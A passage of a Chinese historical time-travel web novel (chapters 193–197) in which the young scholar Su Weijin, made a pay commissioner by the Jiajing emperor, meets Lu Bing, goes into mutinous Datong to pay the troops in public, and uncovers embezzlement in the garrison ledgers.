苏惟瑾能于经筵日讲脱颖而出,
能于宁波事变频现先见,
更能于此大同乱局中献此奇策,
可见其才堪大用!
若事事论资排辈,我大明何时才有破局之望?”
他走到窗边,望着窗外沉沉的夜色,
语气带着一丝孤注一掷的决绝:
“就让朕看看,这块璞玉,
究竟能绽放出怎样的光华!
拟好旨意,明日一早,
不,即刻用印,遣中使直接送往苏惟瑾住处,
命其接旨后,即刻入宫觐见,朕要面授机宜!”
“是!奴婢遵旨!”
黄锦不敢再多言,躬身退下,匆匆去办理。
乾清宫内,重归寂静。
嘉靖帝独自伫立,
心中默念:
“苏惟瑾,苏惟瑾……
莫要辜负朕今日之期望。
这大同的烂摊子,这满朝的暮气,
就看你能否给朕劈开一条新路了!”
而此刻,正在翰林院值房中看似埋头整理书卷,
实则利用超频大脑进一步推演大同局势、
甚至开始默默构思“饷银发放流程细则”和“军官贪墨调查问卷”的苏惟瑾,
尚不知一道将他彻底推向大明**风暴前沿的旨意,
正踏着夜色,疾驰而来。
第193章 陆炳初登场,鹰视狼顾相
圣旨抵达苏宅时,已是后半夜。
苏惟瑾跪接中使,
听完那石破天惊的任命,
饶是他超频大脑早已推演过多种可能,
此刻心头仍是一震。
督饷钦差!专司发饷、查案!
陛下此举,可谓信任至极,
也将他直接架在了火上。
送走中使,府里一直侍候身边的书童苏惟奇(小奇)激动得眼泪纵横,哆嗦着要去准备行装。
苏惟瑾却已冷静下来,
大脑飞速运转,
将有限的关于大同的情报、
可能遇到的阻力、需携带的人员物资过了一遍。
天色微熹时,他已整理出一份简明的行程与需求清单。
依旨入宫,并非在常朝的奉天殿,
而是在更为私密的乾清宫东暖阁。
嘉靖帝显然一夜未眠,
眼圈泛着青黑,但精神却异乎寻常的亢奋,
见到苏惟瑾,不等他行全礼便摆了摆手。
“苏卿,平身。看座。”
嘉靖帝的声音带着一丝沙哑,却透着急切。
“时间紧迫,虚礼就免了。
大同之事,朕的身家性命,
边镇数万军民的安危,
可就系于你此行了。”
苏惟瑾躬身道:
“臣必竭尽全力,不负陛下重托。”
“好!要的就是你这句话。”
嘉靖帝从御案上拿起一枚小巧的银印关防,
递给一旁的中官,示意交给苏惟瑾。
“这是‘督饷钦差关防’,
凭此可调阅大同相关钱粮档案,
遇紧急情况,可要求当地官府配合。
二十万两内帑银,
已由内承运库加急准备,
今日午时便可点验装车,
由一队大汉将军护送你出京。”
苏惟瑾双手接过那沉甸甸的关防,
触手冰凉,却仿佛有千斤重。
他知道,这就是权力的象征,
也是催命的符咒。
“陛下,”
苏惟瑾斟酌道。
“臣年轻资浅,骤临边镇,恐难以服众。
若当地文武阳奉阴违,或乱兵情绪反复,臣……”
“朕知你顾虑。”
嘉靖帝打断他,眼中闪过一丝了然的光,
随即对门口侍立的黄锦道。
“去,传陆炳来。”
陆炳!
这个名字如同一声闷雷,
在苏惟瑾超频的大脑中炸响。
嘉靖帝的发小,未来的锦衣卫都指挥使,
权倾朝野,亦正亦邪的人物!他来了!
片刻,暖阁外传来沉稳有力的脚步声,
帘笼一挑,一道魁梧的身影迈了进来。
此人约莫十**上下年纪,
身材高大,肩宽背厚,
穿着大红锦绣飞鱼服,腰挎绣春刀,
虽未着甲,却自带一股沙场悍将般的压迫感。
他的面容算不上英俊,颧骨略高,
下颌线条硬朗,一双眼睛尤其引人注目
——并非多大,却锐利得惊人,
眼珠黑沉沉的,
看人时仿佛能穿透皮囊,直窥心底,
带着一种鹰隼打量猎物般的审视与冷漠。
这便是陆炳,如今官拜锦衣卫指挥使,
执掌天子亲军,权势已初露峥嵘。
“臣陆炳,叩见陛下。”
陆炳声音洪亮,行礼一丝不苟,
但对皇帝的态度,
却隐隐透着一丝不同于寻常臣子的、
发小间的熟稔。
“文孚(陆炳字)来了,免礼。”
嘉靖帝语气缓和了些。
“这位是翰林院修撰苏惟瑾,
朕新点的督饷钦差,
即刻便要前往大同。”
陆炳站起身,目光如实质般落在苏惟瑾身上,
从头到脚扫了一遍。
那目光并不凶狠,
却带着极强的穿透力,
让苏惟瑾感觉像是被剥开了层层伪装,
连内心深处来自现代的灵魂都似乎微微震颤。
超频大脑瞬间发出轻微警报:
此人极度危险,洞察力极强,需高度警惕!
“苏修撰,少年英才,
陛下常提起你。”
陆炳开口,语气算是客气,
但那股子居高临下的意味和隐隐的压迫感,却挥之不去。
他嘴角似乎想扯出一个笑容,
却只让面部线条显得更加冷硬。
“下官苏惟瑾,见过陆指挥使。”
苏惟瑾压下心头的悸动,
不卑不亢地行礼。
他知道,在陆炳这种人面前,
任何一丝怯懦或讨好,
都会被看得一清二楚。
“苏卿初次办此等险差,
大同情况复杂,
军汉们粗野难驯。”
嘉靖帝对陆炳道。
“文孚,你执掌锦衣卫,
对边镇军情、各方势力盘踞了解最深。
朕让你来,是让你将大同那边的紧要关节,
尤其是那些刺头儿、地头蛇的情况,
跟苏卿分说分说,让他心里有个底。
此外,苏卿此行安危亦是要紧,
你选派一队精干得力的旗校,
明里暗里,务必护得周详。”
这番话,明面上是让陆炳提供情报和保护,实则蕴含深意:
提供情报是真,保护也是真,
但未尝没有让陆炳的人就近监视,
看看这位“少年英才”究竟是真金还是废铁的意思。
天心难测,即便信任,也留着一手。
陆炳何等精明,立刻领会,拱手道:
“臣遵旨。
苏修撰放心,陆某定当安排妥当。”
他转向苏惟瑾,那双鹰目再次聚焦。
“大同镇的情况,说复杂也复杂,
说简单也简单。
总兵官李瑾,是将门之后,
打仗是一把好手,
但性子耿直,有时略显跋扈,
对文官……呵呵,
想必苏修撰去了自有体会。<
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br>巡抚张文锦是个老好人,
可惜如今被扣着,生死未卜。
下边的参将、游击里,
有几个是滚刀肉,
盘踞多年,关系网深得很……”
陆炳语速不快,条理清晰,
将大同镇主要文武官员的性格、
背景、可能的态度,
乃至军中几个有名的兵痞头目的情况,
都简略却要害地点了一遍。
其情报之精准、分析之透彻,
让苏惟瑾暗暗心惊,
锦衣卫的耳目果然名不虚传。
这哪里是“分说分说”,
简直是递过来一本大同高层的人物小传加应对指南。
“至于安全,”
陆炳顿了顿,目光扫过苏惟瑾看似单薄的身板。
“我会派一队人明着跟你钦差仪仗,
领头的叫沈炼钢,是个愣头青,
但身手忠心都没问题。
另外,还会安排几个暗桩,
提前进入大同,他们会主动联系你。
记住暗号:
‘北风卷地白草折’,下句是‘胡天八月即飞雪’。”
苏惟瑾默默记下,心中凛然。
这明暗两重保护(监视),
可谓天罗地网。
他再次躬身:“多谢陆指挥使指点、安排。”
陆炳微微颔首,不再多言,
退到一旁,姿态恭敬,
但那鹰视狼顾之相,
却让人无法忽视他的存在。
他就像一头收敛了爪牙的猛兽,
静静地蛰伏在皇帝身边,
随时可能暴起伤人。
嘉靖帝对这番安排似乎很满意,
又叮嘱了苏惟瑾几句“便宜行事”、“胆大心细”之类的话,
便让他跪安,出去准备出发事宜了。
苏惟瑾退出暖阁,走出宫门,
深秋的凉风吹在脸上,
他才感觉后背竟隐隐有些汗湿。
与陆炳这短暂的接触,
比面对朝堂上任何一位老谋深算的阁老压力都大。
这个人,目光太毒,气场太强,
而且代表着大明最黑暗、
最无法无天的那股力量。
“陆炳……”
苏惟瑾心中默念这个名字,
超频大脑将刚才的所有细节反复分析。
“嘉靖的刀,也是未来的隐患。
如今是友是敌难料,
但绝非可轻易驾驭之辈。
此行大同,不仅要应对明处的乱兵和贪官,
还得小心这暗处的眼睛。”
从这一刻起,他真正踏入了大明权力斗争的核心漩涡。
说明:
锦衣卫都指挥使和锦衣卫指挥使主要在官职品级、职责地位方面存在区别:
官职品级:锦衣卫指挥使为锦衣卫的最高长官,官阶正三品。
而锦衣卫都指挥使并非锦衣卫的常规官职,其官阶为正二品,
通常是作为皇帝对自己器重的锦衣卫官员的一种嘉奖加封,属于较高的虚衔。
第194章 超脑析陆炳,结交需谨慎
出了宫门,午门外广场上寒风卷着尘土,吹得人衣袂翻飞。
苏惟瑾深吸一口冰冷的空气,
将那枚沉甸甸的“督饷钦差关防”仔细收进怀中,
仿佛揣着一块烙铁。
皇帝的信任是真,
陆炳那如影随形的目光,也是真。
他快步走向等候在远处的自家简陋马车,
苏惟奇正搓着手,焦急地张望。
“少爷,可算出来了!
宫里没为难您吧?”
苏惟奇见苏惟瑾面色凝重,连忙上前。
“无妨,小奇,速回府,收拾行装,午时便要出发。”
苏惟瑾简短吩咐,钻进了马车。
车厢狭小,颠簸而行,
他却恍若未觉,闭目凝神,
整个意识沉入那超频运转的大脑之中。
陆炳!
这个名字如同投入平静湖面的巨石,
激起千层浪。
超频大脑以前所未有的速度,
调取、筛选、分析着所有与之相关的信息碎片
——来自后世史书的冰冷记载、
民间传说中的斑驳印象、
乃至穿越前偶尔瞥见的学术论文观点。
人物画像构建中……
姓名:陆炳。
时代定位:大明嘉靖朝中前期至中期核心权臣,锦衣卫掌权者。
核心特质:
1.绝对忠诚锚点:
与嘉靖帝朱厚熜乃奶兄弟,
自幼相伴,情谊非同一般。
这份发小之情,是其权力根基,
亦是其行为逻辑的绝对核心。
任何企图离间或威胁此关系的行为,
都将招致毁灭性打击。
其对皇帝的忠诚,近乎本能,无可动摇。
2.能力超群双刃剑:
并非纯粹靠关系上位的纨绔。
史载其“武健沉鸷,长于应变”,
精通权术,掌控锦衣卫手段老辣,
能有效为皇帝处理诸多“不便明言”之事。
这是一把极其锋利的刀,但握刀的手只能是嘉靖。
3.权势欲望强烈:
在确保忠诚的前提下,
对权力和财富有极大的渴望。
利用锦衣卫职权,打击异己,
聚敛钱财,势力盘根错节。
其行事风格,带有明显的顺我者昌逆我者亡的酷烈色彩。
4.性格复杂多面:
对外人冷酷无情,对家族亲属却颇有庇护;
有时能表现出一定的“侠气”或“底线”,
但更多时候是现实而功利的**动物。
风险评估:极高。
威胁等级:红色警报。
关联记忆调取:其祖父陆墀、父亲陆松皆曾任锦衣卫官职,可谓世家。
历史上,陆炳最终官至太保兼少傅,
权势熏天,虽晚年略受挫折,
但得以善终,足见其**智慧与皇帝信任之深固。
其与严嵩父子既有合作又有斗争,关系微妙。
一幅清晰而冷酷的画像在苏惟瑾脑中成形:
这不是一个可以用寻常官场规则打交道的对象。
他并非传统意义上的“反派”,
但其存在的本身,
就是对所有官员的一种巨大威慑。
他是皇权的延伸,是阴影中的利刃,
喜怒无常,难以揣度。
结交策略模拟推演开始……
方案一:主动靠拢,投其所好。
风险:极高。
陆炳身边不缺趋炎附势之辈,
贸然靠拢极易被看轻,
且一旦被贴上“陆党”标签,
将失去**上的独立性,
未来若陆炳失势或与皇帝产生嫌隙(尽管可能性低),必受牵连。
更关键的是,过度结交锦衣卫头子,
本身就会引起嘉靖帝的猜忌。
否决。
方案二:敬而远之,公事公办。
风险:中等。
看似安全,但可能错失某些情报支持,
且在关键时刻若被陆炳视为“不合作”或“无用”之人,
也可能被其随手清除。
此人对“非友”的态度,
往往倾向于漠视或利用,而非尊重。
方案三:保持距离,展现价值,有限合作。
风险:可控,需极高技巧。
核心原则:让皇帝放心,就是让陆炳放心。
具体策略:
1.忠诚透明:一切行为以彰显对皇帝的忠诚、
高效完成皇帝交办任务为首要目标。
陆炳是皇帝的耳目,
让他看到自己的“忠心”和“能力”,
等于间接向皇帝汇报。
2.能力彰显:在大同之事上,必须做得漂亮。
用实绩证明自己是皇帝手中一把好用的“快刀”,而非钝器。
有价值的人,才值得陆炳“投资”或“观察”,而非轻易舍弃。
3.距离把控:私下绝不主动结交,
避免礼物往来等敏感行为。
公开场合保持对锦衣卫制度和他个人的尊重,
但不过分热情。
维持一种“陛下之臣”的纯粹定位。
4.情报桥梁(潜在):
或许……可以通过沈香君那条线?
沈香君身处风月场,消息灵通,
与三教九流有接触,
若能建立某种不引人注目的间接联系,
在必要时进行有限度的、
互利的情报交换(例如,用一些无关紧要但能显示自己“有用”的消息,换取陆炳方面对某些潜在危险的预警),
或可成为一种微妙的制衡。
但此招险棋,需从长计议,
时机未到,绝不可妄动。
结论:采用方案三。
当前阶段,对陆炳,不求有功,但求无过。
首要任务是完美解决大同兵变,
夯实自己在皇帝心中的地位。
只要圣眷不衰,陆炳这把刀,
便不会轻易砍向自己。
推演完毕,苏惟瑾缓缓睁开眼,马车
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已快到府门。
他轻轻吐出一口浊气,
眼神恢复了清明与冷静。
与陆炳的初次交锋,虽无声,
却已让他深刻认识到这个时代权力顶层的复杂与险恶。
这不再是书院里的经义辩论,
也不是翰林院中的清谈雅集,
而是真刀**、稍有不慎便万劫不复的**博弈。
“不过,这样才有意思,不是么?”
苏惟瑾嘴角勾起一丝极淡的弧度。
超频大脑带来的不仅是知识,
更是这种近乎冷酷的分析能力和战略眼光。
他喜欢这种抽丝剥茧、谋划布局的感觉。
回到府中,苏惟奇和临时雇来的两个仆役已将要带的箱笼收拾得差不多了。
苏惟瑾检查了一下,
主要是些必备的衣物、书籍、文房四宝,
以及他私下准备的一些可能用到的“小玩意儿”
——比如用现代知识简化的急救包、
几种常见毒物的简易检测方法笔记等。
午时初刻,宫中来人了。
不仅送来了封装好的五万两现银,还有十五万两银票(大部分是通兑银票,便于携带,部分现银用于应急),
还有一队二十人盔明甲亮、神情肃杀的大汉将军,
以及一个穿着飞鱼服、腰佩绣春刀,
年纪与自己相仿,
眉宇间带着几分倔强和锐气的年轻锦衣卫。
“卑职锦衣卫总旗沈炼钢,
奉陆指挥使之命,率队护卫苏钦差前往大同!”
年轻人声音洪亮,行礼干脆,
但眼神中却透着一股打量和……
似乎还有一丝不易察觉的轻视?
也对,自己这文弱书生模样,
要去的是刀兵之地,
在这些天子亲军看来,
恐怕就是个累赘。
苏惟瑾不动声色,
超频大脑瞬间对沈炼钢进行了初步扫描:
耿直,可能有点愤世嫉俗,
业务能力应该不错,
但不太懂得掩饰情绪。
嗯,历史上好像也是个有名有姓的硬骨头?
可以利用,但需小心其冲动性格。
“有劳沈总旗和诸位弟兄了。”
苏惟瑾平和地回礼,
语气不卑不亢。
“时间紧迫,我们这就出发吧。”
车队辚辚启动,离开生活了数月的京城。
苏惟瑾坐在马车里,掀开车帘,
回望那巍峨的城墙和层叠的殿宇。
前方是未知的艰险,
身边是皇帝的期待和锦衣卫的监视,
但他心中却涌起一股前所未有的斗志。
陆炳是猛虎,边镇是龙潭,
但他苏惟瑾,也不是任人拿捏的软柿子。
说明:明朝嘉靖年间的时候已经有汇票制度,不过不是官方的,是由晋商、徽商等一些大型商会创建的!大同地处晋商的地盘,20万两银子的兑换,由朝廷出面是完全可以行的通的。
第195章 大同险象生,孤身入虎穴
车队离了京城,
一路向北,景致便逐渐荒凉起来。
深秋的华北平原,草木凋零,
黄土裸露,官道两旁时而可见废弃的村落,
断壁残垣间,偶有野狗穿梭,平添几分肃杀。
越近山西地界,山峦渐起,
风也愈发硬冷,
刮在脸上宛如小刀片似的。
苏惟瑾坐在车内,
超频大脑却未闲着,
不断结合沿途所见,
推演着大同可能面临的局面。
这一日,终于抵达大同府境。
尚未靠近城池,便觉气氛不对。
官道上行人稀少,且多是行色匆匆,面带惊惶。
远处隐约可见大同城墙的轮廓,
如一头灰色的巨兽匍匐在苍茫大地之上,
但城头旌旗不整,甚至能看到一些焦黑的痕迹。
“钦差大人,”
负责护饷的那队大汉将军的队正策马来到车旁,
面色凝重地禀报。
“前方探马来报,大同四门紧闭,
城头皆是乱兵值守,不见官府旗号。
我们是否先在城外寻个稳妥处驻扎,
派人通传?”
几乎同时,锦衣卫总旗沈炼钢也打马过来,
他年轻的脸庞上带着跃跃欲试的冲动,拱手道:
“苏大人,乱兵据城,情况不明。
依卑职看,当速调附近卫所兵马前来护驾,
再以钦差仪仗叩城,方显朝廷威严,震慑宵小!”
苏惟瑾掀开车帘,目光越过众人,
望向那座死气沉沉的雄城。
超频大脑高速运转,
分析着各种信息:
紧闭的城门显示乱兵警惕性很高;
城头杂乱说明其组织松散,并非铁板一块;
附近卫所?
若他们能有效弹压,
兵变又何至于此?
调兵前来,固然安全,
但势必激起乱兵更大的疑惧,
万一狗急跳墙,伤了被扣的巡抚张文锦,
或是干脆据城顽抗,局面将不可收拾。
他摇了摇头,声音平静却带着不容置疑的决断:
“不必调兵,也不必大张旗鼓。”
“什么?”
沈炼钢一愣,几乎以为自己听错了。
“大人,城内可是数万乱兵!
我们这点人手……”
就连那经验丰富的大汉将军队正也面露难色:
“钦差大人,千金之子坐不垂堂,
您万金之躯,岂可轻涉险地?
万一有失,我等万死难赎其咎!”
跟在车旁的周大山更是急得直搓手:
“少爷,使不得啊!
那帮杀才红了眼,
可不认什么状元、钦差!”
苏惟瑾目光扫过众人,
最后定格在那装着首批五万两饷银的箱车上。
他深吸一口气,沉声道:
“本官奉旨前来,
是为解大同数万将士饥寒之苦,
是为宣示陛下皇恩浩荡,
而非耀武扬威。
大军压境,只会让那些真心求饷的士卒与我们离心离德,
正中了少数别有用心者的下怀。”
他顿了顿,继续分析,
语气如同在翰林院讲解经义般清晰:
“乱兵阵营并非铁板一块。
有真心实意只为讨饷活命的,
有趁乱浑水摸鱼捞好处的,
恐怕还有被囚军官或其同党暗中挑唆,
意图将水搅浑者。
我等若示之以诚,
而非示之以威,或可分化瓦解。”
“可是大人,这太危险了!”
沈炼钢还是不服。
“风险自然有。”
苏惟瑾看向他,眼神锐利。
“但本官并非毫无准备。
沈总旗,你挑选四名最精干机警的弟兄,
换上便服,混入城中,
设法联络可能还忠于朝廷的低级军官或老卒,
摸清城内各股势力的头目、
被扣巡抚的情况,
以及乱兵核心诉求的最新动向。
这是暗线。”
他又对那大汉将军队正道:
“李队正,你率主力押运大部饷银,
在城外十里处的驿堡驻扎,
严加戒备,没有我的命令,
不得轻动。
这是后援。”
最后,他看向周大山和剩下两名看起来最沉稳的大汉将军:
“大山,你跟我,再带这两位弟兄,
押着这车首批饷银,直接去城门。”
“就……就我们五个?”
周大山舌头都有些打结。
“对,就我们五个。”
苏惟瑾语气坚决。
“人越多,越显得我们心虚、有敌意。
只带首批饷银,
是表明我们的诚意和解决问题的决心。
记住,我们不是去打仗,
是去发饷,是去讲道理!”
这番安排,条理清晰,胆大至极,
却又隐隐契合兵法和人心。
沈炼钢和那李队正对视一眼,
都从对方眼中看到了震惊和一丝不易察觉的敬佩。
这位年轻的状元公、翰林修撰,
并非他们想象中的书呆子,
其胆识和谋略,远超常人。
“卑职遵命!”
沈炼钢不再多言,抱拳领命,
立刻去挑选人手。
李队正也重重一抱拳:
“末将定守好后路,大人万事小心!”
方案既定,立刻行动。
沈炼钢带着四人悄然离去,
如同水滴融入大地。
李队正率大队人马转向驿堡。
而苏惟瑾,则换上了一身半新不旧的青色直裰,
未着官服,只将那枚钦差关防贴身藏好,
坐上了一辆普通的骡车,
周大山驾车,两名挑选出的大汉将军扮作随从,
押着那辆沉重的银车,
轱辘轱辘,向着大同那扇紧闭的、
仿似吞噬一切的城门驶去。
越是靠近,越能感受到那股紧张压抑的气氛。
城墙高大斑驳,布满了战争留下的痕
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迹。
城头上,影影绰绰可以看到**挎刀的兵卒,
眼神警惕地打量着这队不速之客。
护城河的吊桥高高拉起,
俨然巨兽龇出的獠牙。
骡车在离城门一箭之地停下。
周大山深吸一口气,
按照苏惟瑾事先教好的,
运足中气,朝着城头喊道:
“城上的弟兄们听着!
我们是京城来的!
奉旨给大同的兄弟们送饷银来了!
快开城门!”
城头一阵骚动,无数脑袋探了出来,
目光齐刷刷聚焦在那辆盖着油布的银车上,
充满了怀疑、贪婪和渴望。
“送饷银?骗鬼呢!”
一个粗豪的声音吼道。
“官军是不是埋伏在后面?
想骗我们开城,好一网打尽?”
“就是!谁知道你们是不是奸细!”
“把银子留下,人可以滚了!”
乱哄哄的叫骂声从城头传来。
周大山脸色发白,
回头看向苏惟瑾。
苏惟瑾面色不变,示意他继续。
周大山只得再喊:
“没有埋伏!就我们几个!
这位是朝廷派来的苏钦差!
亲自来给大家发饷!
皇恩浩荡,绝不追究胁从者!
只惩首恶!”
“钦差?呸!
**都没长齐的小白脸,也敢来大同充大爷?”
一个似乎是头目的络腮胡汉子狞笑道。
“谁知道是不是假的!
想进城?可以!
让那什么狗屁钦差,自己走过来!
把银子车也赶过来!
其他人退后三里!”
这条件极为苛刻,
几乎是让苏惟瑾孤身犯险。
周大山和两名护卫都急了:
“大人,不能去!”
苏惟瑾却微微一笑,
超频大脑瞬间评估:
对方提出此要求,说明警惕性高,
但也暴露了其内部并非铁板一块,
有人想试探,有人可能只是想拿钱。
风险极大,但也是打破僵局、展现诚意的唯一机会。
他整理了一下衣袍,
从容地下了骡车,对周大山道:
“按他们说的做,
你们退后三里等候。
大山,驾车,跟我进城。”
“少爷!”
周大山眼圈都红了。
“执行命令。”
苏惟瑾语气平淡,
却带着不容置疑的威严。
他独自一人,
迎着城头无数道或怀疑、
或凶狠、或好奇的目光,
步履沉稳地走向那扇仿佛通往地狱的城门。
周大山咬着牙,驾着银车,缓缓跟在他身后。
吊桥在刺耳的嘎吱声中,缓缓放下。
城门洞开一道缝隙,昏暗的光线下,
可见里面刀枪闪烁,人影幢幢。
真正的虎穴,就在眼前。
苏惟瑾深吸一口气,
目光沉静,一步踏入了那未知的险地。
第196章 辕门立信义,饷银发到手
城门在身后轰然关闭,
隔绝了外界的光线,也隔绝了退路。
苏惟瑾置身于一个昏暗、
压抑且充满敌意的空间。
大同城的瓮城内,
挤满了手持兵刃、衣衫褴褛的士兵,
他们眼神复杂,混杂着饥饿、愤怒、怀疑,
还有一丝对那辆银车毫不掩饰的贪婪。
空气里弥漫着汗臭、血腥和一种紧张得一触即燃的**味。
周大山握着缰绳的手心全是汗,
两名扮作随从的大汉将军也肌肉紧绷,
手按在了腰间的刀柄上,
眼神警惕地扫视着四周。
唯有苏惟瑾,面色平静如水,
仿佛置身于翰林院的书库而非龙潭虎穴。
超频大脑飞速运转,分析着每一张面孔,
每一种情绪,计算着最佳应对策略。
“钦差?”
一个穿着破旧皮甲、
脸上带疤的队官模汉子走上前,
斜着眼打量苏惟瑾,语气充满挑衅。
“**都没长齐,也敢来趟这浑水?
银子留下,人嘛……
嘿嘿,得看爷们儿心情。”
周围响起一阵不怀好意的哄笑和鼓噪。
苏惟瑾并不动怒,
反而上前一步,
目光清澈地迎向那队官:
“本官奉天子之命,
前来解决大同将士的粮饷之忧。
这车上,是首批五万两饷银,
是陛下从内帑中紧急调拨,
解诸位燃眉之急的皇恩!
尔等若还是大明的将士,
就当知道,劫掠钦差、抢夺饷银,
是何等罪过!”
他声音不高,却带着一股奇特的穿透力,
在嘈杂的瓮城里清晰可闻。
提到“陛下内帑”、“皇恩”,
让一些士兵的眼神闪烁了一下。
“少**扯虎皮做大旗!”
疤脸队官啐了一口。
“老子们饿肚子的时候,皇恩在哪儿?
现在倒来充好人了!
谁知道你这银子是真是假?”
“是真是假,一验便知。”
苏惟瑾从容不迫。
“本官此行,不仅为送饷,更为发饷!
要让每一文钱,
都实实在在发到每一位士卒手中,
绝不经任何中间克扣!”
这话如同投入滚油中的水滴,
瞬间炸开了锅。
不经过军官克扣?
直接发到当兵的手里?
这简直是闻所未闻!
士兵们面面相觑,
怀疑中又透出强烈的渴望。
“吹牛不上税!”
疤脸队官根本不信。
“官字两张口,怎么说都由你!
兄弟们,别信他的鬼话!
把银子抢过来,大家分了!”
眼看几个兵痞就要躁动,
苏惟瑾猛地提高音量,声如金石:
“谁敢妄动!
本官乃天子钦差,代表朝廷法度!
今日若有一文饷银被劫,
陛下震怒,大军顷刻即至,
到时玉石俱焚,尔等妻儿老小何以自处?
尔等扪心自问,闹这一场,最初所求,
难道不就是为了这活命的饷银吗?!”
这一声厉喝,
结合超频大脑精准把握的情绪煽动和利害分析,
暂时镇住了场面。
是啊,最初不就是因为活不下去才兵变的吗?
真要闹到不可收拾,引来大军围剿,
那才是死路一条。
苏惟瑾趁热打铁,语气放缓,
但依旧坚定:
“本官知道,你们中有很多人是被裹挟,是被逼无奈。
陛下明察秋毫,已有明旨:
只惩首恶,胁从不问!
只要放下兵器,安心领饷,
过往一概不究!
现在,愿意按规矩领饷的,
站到左边来!
还想浑水摸鱼的,
尽管试试朝廷王法的锋利!”
威逼利诱,双管齐下。
沉默了片刻,
终于有几十个面黄肌瘦、
看起来老实巴交的士兵,
迟疑着挪到了左边。
有人带头,便有人跟随,
很快,左边**了数百人。
虽然仍有大量士兵持观望态度,
甚至疤脸队官和他身边的一些死硬分子还在骂骂咧咧,
但局面已经开始松动。
“好!”
苏惟瑾目光扫过左边的人群,
点了点头。
“识时务者为俊杰。
现在,本官就在这校场上,
当着所有人的面,发放首批饷银!
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>周大山,摆开桌案!
取军籍名册和戥子来!”
他早有准备,带来的箱笼里不仅有银子,
还有从兵部紧急调来的大同镇部分军籍简册(虽不完整,但足以应对),
以及精巧的铜戥子(称量银两的工具)。
一张破旧的桌子被摆开,
周大山和两名护卫维持秩序,
苏惟瑾亲自坐镇。
他采用了超频大脑优化过的流程:
核对姓名、所属编伍(尽可能对照名册)、现场称银(公开透明)、
领银人按手印画押(留下凭证)。
每个步骤都清晰可见,
杜绝了任何中间环节做手脚的可能。
“李狗蛋,步军左营三队,欠饷三个月,应发银一两五钱!”
苏惟瑾朗声念道,
亲手用戥子称出雪花花的官银,
递给那个叫李狗蛋的、
激动得双手发抖的年轻士兵。
“谢……谢青天大老爷!谢皇上!”
李狗蛋接过银子,
噗通一声就跪下了,
眼泪鼻涕一起流。
他身后排队的人,
眼睛都看直了,呼吸变得粗重。
“王老五,马军右营……”
“赵铁柱,车营……”
流程有条不紊地进行。
领到银子的士兵,有的嚎啕大哭,
有的对着京城方向磕头,
有的紧紧攥着银子,
仿佛攥着救命稻草。
那实实在在的银两,
那公开透明的过程,
像一股暖流,逐渐融化着笼罩大同城的冰封与暴戾。
疤脸队官和他那伙人的叫骂声越来越小,越来越无力。
他们发现,没人再听他们煽动了。
士兵们的注意力,
全被那叮当作响的银子和苏惟瑾沉稳的声音吸引了过去。
信任,好似野草般,在绝望的土壤里悄然滋生。
“看见没?真发了!直接到手!”
“这位钦差大人,是真心来给咱们发饷的!”
“皇恩浩荡啊!咱们……咱们之前是不是做错了?”
质疑和敌意,在真金白银和诚信面前,土崩瓦解。
苏惟瑾用这最原始也最有效的方式,
完成了对这数万乱兵的第一次“心理攻坚”。
第197章 揪出贪蠹虫,账本显神威
雪花般的饷银实实在在发到了士卒手中,
如同久旱甘霖,暂时浇熄了大同军镇即将**的戾气。
领到钱的士兵们,脸上多了几分活人气,
对那位年轻得过分、却办事雷厉风行的苏钦差,
眼神里也多了些信服,少了些敌意。
校场上虽然依旧人员杂乱,
但那种剑拔**张、一触即发的氛围已然缓和不少。
苏惟瑾却不敢有丝毫松懈。
超频大脑清楚得很,发饷只是治标,
暂时稳定了“大多数”。
但那些喝兵血、引发兵变的“首恶”和军中蠹虫还逍遥法外,
甚至可能潜伏在人群中,伺机再次煽动。
不把这些脓疮挖掉,大同随时可能再次溃烂。
“中期策”必须立刻跟上!
他当众宣布,饷银将分批、持续发放,
确保人人有份,但需要时间核对名册、筹措银两,
要求各营士兵暂且回归本队,
维持秩序,等待通知。
同时,他以钦差名义,
宣布正式接管大同镇钱粮审计及兵变案调查之权。
消息传出,有人欢喜有人愁。
普通士兵盼着后续饷银,自然无异议。
但某些人可就坐不住了。
当晚,暂居的简陋官廨内,烛火摇曳。
沈炼钢派出的暗桩送来了第一份密报:
军中几个掌管钱粮的文吏和账房先生,
行迹诡异,有人试图销毁文书,有人暗中串联。
而之前那个在瓮城内挑衅的疤脸队官,
以及另外几个素有声名狼藉的军官,
更是频繁出入某参将的府邸。
“果然沉不住气了。”
苏惟瑾冷笑。
他立刻唤来周大山和沈炼钢(沈炼已于日间悄然潜回城内)。
“大山,你带几个身手好的弟兄,
立刻去‘请’管粮饷的王书办、
李账房还有那个钱粮师爷过来,
就说本钦差要咨询账目事宜。
记住,要‘客气’点,
但务必把人带来,
连同他们手头所有的账册、文书,
一张纸片都不能少!”
苏惟瑾下令果断。
“沈总旗,你带人暗中盯住那个疤脸刘队官和名单上的这几个人,
若他们有何异动,
特别是试图离城或狗急跳墙,
可先行拿下!”
“得令!”
周大山和沈炼钢领命而去,动作迅捷。
不到半个时辰,
三个战战兢兢、面如土色的账房先生被“请”到了苏惟瑾面前,
他们抱来的账册堆了半桌子,
杂乱无章,散发着霉味和灰尘。
“钦……钦差大人,
账……账目都在这里了,
只是兵荒马乱,
有些……有些残缺……”
为首的王书办是个干瘦老头,
眼神闪烁,说话结结巴巴。
苏惟瑾没理会他们的推诿,
直接走到账册前,随手拿起一本。
超频大脑瞬间启动“信息扫描与模式识别”功能。
在他眼中,那些密密麻麻的汉字数字,
不再是杂乱的信息,
而是迅速被解析、归类、
建立起逻辑关联。
复式记账法、审计学原理、
常见贪腐手段模型……
现代会计金融知识如同精密的软件,
开始高速处理这些古老的账目数据。
“王书办,”
苏惟瑾头也不抬,手指点着账册某一页。
“嘉靖元年三月,兵饷支出记录是五千两,
但同一时期,户部拨付大同的饷银批文存底显示是六千两。
这一千两差额,作何解释?”
王书办浑身一颤,
冷汗瞬间就下来了:
“这……这个……许是……
许是路上损耗,
或是……或是暂时挪作他用了……”
“挪用?”
苏惟瑾又拿起另一本。
“嘉靖元年七月,
你们记录采买军粮一千石,
耗银八百两。
但据本官所知,彼时大同粮价,
上等米不过五钱一石,
这一千石粮,何须八百两?
莫非买的都是金米?”
“还有这里,”
苏惟瑾语速加快,
手指在不同账册间飞速点动。
“嘉靖二年春,修筑营堡的工料费,
前后账目对不上,凭空多出三百两。
更可笑的是,这几位军官的‘饷银补贴’,
竟然比总兵大人的还高?
王书办,你们这账做得,
怕是连三岁孩童都骗不过吧?”
他每说一句,王书办等人的脸色就白一分。
他们做梦也想不到,
这个年轻的钦差,
竟然能在这堆乱麻般的账册里,
如此迅速地找到要害,
而且精准得可怕!
